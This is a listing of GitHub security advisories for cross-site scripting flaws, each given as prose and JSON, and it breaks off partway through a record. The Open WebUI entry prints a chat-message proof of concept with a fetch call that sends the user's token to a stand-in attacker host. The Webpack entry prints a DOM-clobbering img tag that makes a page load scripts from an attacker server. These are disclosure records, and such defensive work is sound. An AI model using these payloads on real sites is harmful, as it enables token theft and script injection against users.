CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67069 vulnerabilities reference this CWE, most recent first.
GHSA-4VR9-33FV-MG6R
Vulnerability from github – Published: 2022-07-13 00:00 – Updated: 2024-10-28 18:46The ameos_tarteaucitron (aka AMEOS - TarteAuCitron GDPR cookie banner and tracking management / French RGPD compatible) extension before 1.2.23 for TYPO3 allows XSS.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ameos/ameos_tarteaucitron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-33155"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-28T18:46:12Z",
"nvd_published_at": "2022-07-12T22:15:00Z",
"severity": "MODERATE"
},
"details": "The ameos_tarteaucitron (aka AMEOS - TarteAuCitron GDPR cookie banner and tracking management / French RGPD compatible) extension before 1.2.23 for TYPO3 allows XSS.",
"id": "GHSA-4vr9-33fv-mg6r",
"modified": "2024-10-28T18:46:12Z",
"published": "2022-07-13T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33155"
},
{
"type": "PACKAGE",
"url": "https://github.com/ameos/ameos_tarteaucitron"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2022-013"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross site scripting in ameos_tarteaucitron"
}
GHSA-4VRC-M9CH-6M3R
Vulnerability from github – Published: 2026-05-14 20:16 – Updated: 2026-05-19 15:58Summary
Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`
By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
Impact
Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:
- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
- There is a
Chat Sharefunction. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
- By importing a chat via "Settings - Conversations - Import Conversations."
An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High.
Overall, the likelihood of exploitation (Exploitability) is considered very low.
Recommendation
The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45303"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:16:07Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\nThrough the HTML rendering view, scripts can be injected and executed. \nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details\nThe frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:\n\n`sandbox=\"allow-scripts allow-forms allow-same-origin\"`\n\nThis means that the content is placed in a sandbox but with permission to execute scripts and access the parent\u2019s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.\n\n### PoC\nIf an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:\n```\nCreate an HTML form and insert the following script into the document: \n`fetch(\u0027https://www.attacker.local/?\u0027 + localStorage.getItem(\u0027token\u0027))`\n```\nBy entering this message, the script fetch(\u0027https://www.attacker.local/?\u0027 + localStorage.getItem(\u0027token\u0027)) is embedded, allowing the user\u0027s token to be read and sent to www.attacker.local.\n\n\n\n### Impact\nFundamentally, this is a Self-XSS attack (executable only in the user\u0027s own context). However, the code could also be injected into another user\u0027s context through the following vectors: \n\n- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs). \n- There is a `Chat Share` function. A shared chat can be cloned, potentially transferring the input to another user\u0027s context. \n- If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command \"Show content\"). \n- By importing a chat via \"Settings - Conversations - Import Conversations.\" \n\nAn attack is only successful under these conditions, which is why the `Attack Complexity` vector has been set to `High`. \nOverall, the likelihood of exploitation (Exploitability) is considered very low.\n\n### Recommendation\nThe iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent\u2019s data.",
"id": "GHSA-4vrc-m9ch-6m3r",
"modified": "2026-05-19T15:58:08Z",
"published": "2026-05-14T20:16:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4vrc-m9ch-6m3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45303"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has stored XSS via the HTML renedering view"
}
GHSA-4VRF-42CM-7XFW
Vulnerability from github – Published: 2025-10-20 15:30 – Updated: 2025-10-20 20:04Cross-Site Scripting (XSS) vulnerability exists in TastyIgniter 3.7.7, affecting the /admin/media_manager component. Attackers can upload a malicious SVG file containing JavaScript code. When an administrator previews the file, the code executes in their browser context, allowing the attacker to perform unauthorized actions such as modifying the admin account credentials.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "tastyigniter/tastyigniter"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.7.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61417"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T20:04:18Z",
"nvd_published_at": "2025-10-20T15:15:33Z",
"severity": "LOW"
},
"details": "Cross-Site Scripting (XSS) vulnerability exists in TastyIgniter 3.7.7, affecting the /admin/media_manager component. Attackers can upload a malicious SVG file containing JavaScript code. When an administrator previews the file, the code executes in their browser context, allowing the attacker to perform unauthorized actions such as modifying the admin account credentials.",
"id": "GHSA-4vrf-42cm-7xfw",
"modified": "2025-10-20T20:04:18Z",
"published": "2025-10-20T15:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61417"
},
{
"type": "WEB",
"url": "https://github.com/mg7-x/CVEs/blob/main/CVE-2025-61417/README.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/tastyigniter/TastyIgniter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "TastyIgniter vulnerable to Cross-Site Scripting"
}
GHSA-4VRM-MQX2-H64F
Vulnerability from github – Published: 2023-05-29 21:30 – Updated: 2024-04-04 04:22An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is stored XSS via the ajaxTenants.php desc parameter.
{
"affected": [],
"aliases": [
"CVE-2022-24631"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-29T21:15:09Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is stored XSS via the ajaxTenants.php desc parameter.",
"id": "GHSA-4vrm-mqx2-h64f",
"modified": "2024-04-04T04:22:51Z",
"published": "2023-05-29T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24631"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Feb/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VRP-83V9-W2X6
Vulnerability from github – Published: 2022-05-14 01:41 – Updated: 2022-05-14 01:41Multiple cross-site scripting (XSS) vulnerabilities in Plikli CMS 4.0.0 allow remote attackers to inject arbitrary web script or HTML via the (1) keyword parameter to groups.php; (2) username parameter to login.php; or (3) date parameter to search.php.
{
"affected": [],
"aliases": [
"CVE-2018-19414"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-03T19:29:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in Plikli CMS 4.0.0 allow remote attackers to inject arbitrary web script or HTML via the (1) keyword parameter to groups.php; (2) username parameter to login.php; or (3) date parameter to search.php.",
"id": "GHSA-4vrp-83v9-w2x6",
"modified": "2022-05-14T01:41:11Z",
"published": "2022-05-14T01:41:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19414"
},
{
"type": "WEB",
"url": "https://www.netsparker.com/web-applications-advisories/ns-18-030-cross-site-scripting-in-plikli"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/150657/Plikli-4.0.0-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Dec/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VRQ-JV2W-M38F
Vulnerability from github – Published: 2022-05-02 00:02 – Updated: 2022-05-02 00:02Multiple cross-site scripting (XSS) vulnerabilities in CyBoards PHP Lite 1.21 allow remote attackers to inject arbitrary web script or HTML via the (1) lOptionsOptions, (2) lNavAdminOptions, or (3) lNavReturn parameter to options.php; or the (4) lNavReturn parameter to subscribe.php.
{
"affected": [],
"aliases": [
"CVE-2008-3709"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-19T19:41:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in CyBoards PHP Lite 1.21 allow remote attackers to inject arbitrary web script or HTML via the (1) lOptionsOptions, (2) lNavAdminOptions, or (3) lNavReturn parameter to options.php; or the (4) lNavReturn parameter to subscribe.php.",
"id": "GHSA-4vrq-jv2w-m38f",
"modified": "2022-05-02T00:02:55Z",
"published": "2022-05-02T00:02:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3709"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44476"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0808-exploits/cyboards-rfilfixss.txt"
},
{
"type": "WEB",
"url": "http://www.attrition.org/pipermail/vim/2008-August/002052.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30688"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4VV2-RCFP-82JF
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32Cross-site scripting (XSS) vulnerability in index.php in Calimero.CMS 3.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter in a calimero_webpage action.
{
"affected": [],
"aliases": [
"CVE-2008-0749"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-13T20:00:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in index.php in Calimero.CMS 3.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter in a calimero_webpage action.",
"id": "GHSA-4vv2-rcfp-82jf",
"modified": "2022-05-01T23:32:56Z",
"published": "2022-05-01T23:32:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0749"
},
{
"type": "WEB",
"url": "http://downloads.securityfocus.com/vulnerabilities/exploits/27690.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/ref/41/41573-calimero.txt"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/41573"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27690"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4VVJ-4CPR-P986
Vulnerability from github – Published: 2024-08-27 19:50 – Updated: 2024-09-03 17:09Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Webpack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "webpack"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.0"
},
{
"fixed": "5.94.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43788"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-27T19:50:40Z",
"nvd_published_at": "2024-08-27T17:15:07Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nWe found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack\u2019s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.\n\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https://scnps.co/papers/sp23_domclob.pdf\n[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/\n\n\n#### Gadgets found in Webpack\n\nWe identified a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:\n\n```\n/******/ \t/* webpack/runtime/publicPath */\n/******/ \t(() =\u003e {\n/******/ \t\tvar scriptUrl;\n/******/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n/******/ \t\tvar document = __webpack_require__.g.document;\n/******/ \t\tif (!scriptUrl \u0026\u0026 document) {\n/******/ \t\t\tif (document.currentScript)\n/******/ \t\t\t\tscriptUrl = document.currentScript.src;\n/******/ \t\t\tif (!scriptUrl) {\n/******/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n/******/ \t\t\t\tif(scripts.length) {\n/******/ \t\t\t\t\tvar i = scripts.length - 1;\n/******/ \t\t\t\t\twhile (i \u003e -1 \u0026\u0026 (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t}\n/******/ \t\t// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n/******/ \t\t// or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n/******/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n/******/ \t\tscriptUrl = scriptUrl.replace(/#.*$/, \"\").replace(/\\?.*$/, \"\").replace(/\\/[^\\/]+$/, \"/\");\n/******/ \t\t__webpack_require__.p = scriptUrl;\n/******/ \t})();\n```\n\nHowever, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker\u0027s domain. This could lead to arbitrary script loading from the attacker\u0027s server, resulting in severe security risks.\n\n### PoC\n\nPlease note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I\u2019m providing a demo to illustrate the concept.\n\nConsider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack:\n\n```\n// entry.js\nimport(\u0027./import1.js\u0027)\n .then(module =\u003e {\n module.hello();\n })\n .catch(err =\u003e {\n console.error(\u0027Failed to load module\u0027, err);\n });\n```\n\n```\n// import1.js\nexport function hello () {\n console.log(\u0027Hello\u0027);\n}\n```\n\nThe webpack.config.js is set up as follows:\n```\nconst path = require(\u0027path\u0027);\n\nmodule.exports = {\n entry: \u0027./entry.js\u0027, // Ensure the correct path to your entry file\n output: {\n filename: \u0027webpack-gadgets.bundle.js\u0027, // Output bundle file\n path: path.resolve(__dirname, \u0027dist\u0027), // Output directory\n publicPath: \"auto\", // Or leave this field not set\n },\n target: \u0027web\u0027,\n mode: \u0027development\u0027,\n};\n```\n\nWhen the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker\u0027s domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website\u0027s feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003ctitle\u003eWebpack Example\u003c/title\u003e\n \u003c!-- Attacker-controlled Script-less HTML Element starts--!\u003e\n \u003cimg name=\"currentScript\" src=\"https://attacker.controlled.server/\"\u003e\u003c/img\u003e\n \u003c!-- Attacker-controlled Script-less HTML Element ends--!\u003e\n\u003c/head\u003e\n\u003cscript src=\"./dist/webpack-gadgets.bundle.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.\n\n### Patch\n\nA possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174\n\n```\n/******/ \t/* webpack/runtime/publicPath */\n/******/ \t(() =\u003e {\n/******/ \t\tvar scriptUrl;\n/******/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n/******/ \t\tvar document = __webpack_require__.g.document;\n/******/ \t\tif (!scriptUrl \u0026\u0026 document) {\n/******/ \t\t\tif (document.currentScript \u0026\u0026 document.currentScript.tagName.toUpperCase() === \u0027SCRIPT\u0027) // Assume attacker cannot control script tag, otherwise it is XSS already :\u003e\n/******/ \t\t\t\tscriptUrl = document.currentScript.src;\n/******/ \t\t\tif (!scriptUrl) {\n/******/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n/******/ \t\t\t\tif(scripts.length) {\n/******/ \t\t\t\t\tvar i = scripts.length - 1;\n/******/ \t\t\t\t\twhile (i \u003e -1 \u0026\u0026 (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t}\n/******/ \t\t// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n/******/ \t\t// or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n/******/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n/******/ \t\tscriptUrl = scriptUrl.replace(/#.*$/, \"\").replace(/\\?.*$/, \"\").replace(/\\/[^\\/]+$/, \"/\");\n/******/ \t\t__webpack_require__.p = scriptUrl;\n/******/ \t})();\n```\n\nPlease note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.",
"id": "GHSA-4vvj-4cpr-p986",
"modified": "2024-09-03T17:09:18Z",
"published": "2024-08-27T19:50:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43788"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack/issues/18718#issuecomment-2326296270"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack/commit/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61"
},
{
"type": "PACKAGE",
"url": "https://github.com/webpack/webpack"
},
{
"type": "WEB",
"url": "https://research.securitum.com/xss-in-amp4email-dom-clobbering"
},
{
"type": "WEB",
"url": "https://scnps.co/papers/sp23_domclob.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Webpack\u0027s AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS"
}
GHSA-4VVP-MMQW-CP8P
Vulnerability from github – Published: 2022-05-17 04:15 – Updated: 2022-05-17 04:15Multiple cross-site scripting (XSS) vulnerabilities in Visualware MyConnection Server 8.2b allow remote attackers to inject arbitrary web script or HTML via the (1) bt, (2) variable, or (3) et parameter to myspeed/db/historyitem.
{
"affected": [],
"aliases": [
"CVE-2015-2043"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-02-25T22:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in Visualware MyConnection Server 8.2b allow remote attackers to inject arbitrary web script or HTML via the (1) bt, (2) variable, or (3) et parameter to myspeed/db/historyitem.",
"id": "GHSA-4vvp-mmqw-cp8p",
"modified": "2022-05-17T04:15:17Z",
"published": "2022-05-17T04:15:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2043"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/130490/MyConnection-Server-8.2b-Cross-Site-Scripting.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4VVR-GJMG-W366
Vulnerability from github – Published: 2024-01-31 18:31 – Updated: 2026-04-28 21:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codeboxr CBX Map for Google Map & OpenStreetMap allows Stored XSS.This issue affects CBX Map for Google Map & OpenStreetMap: from n/a through 1.1.11.
{
"affected": [],
"aliases": [
"CVE-2024-22297"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-31T18:15:49Z",
"severity": "MODERATE"
},
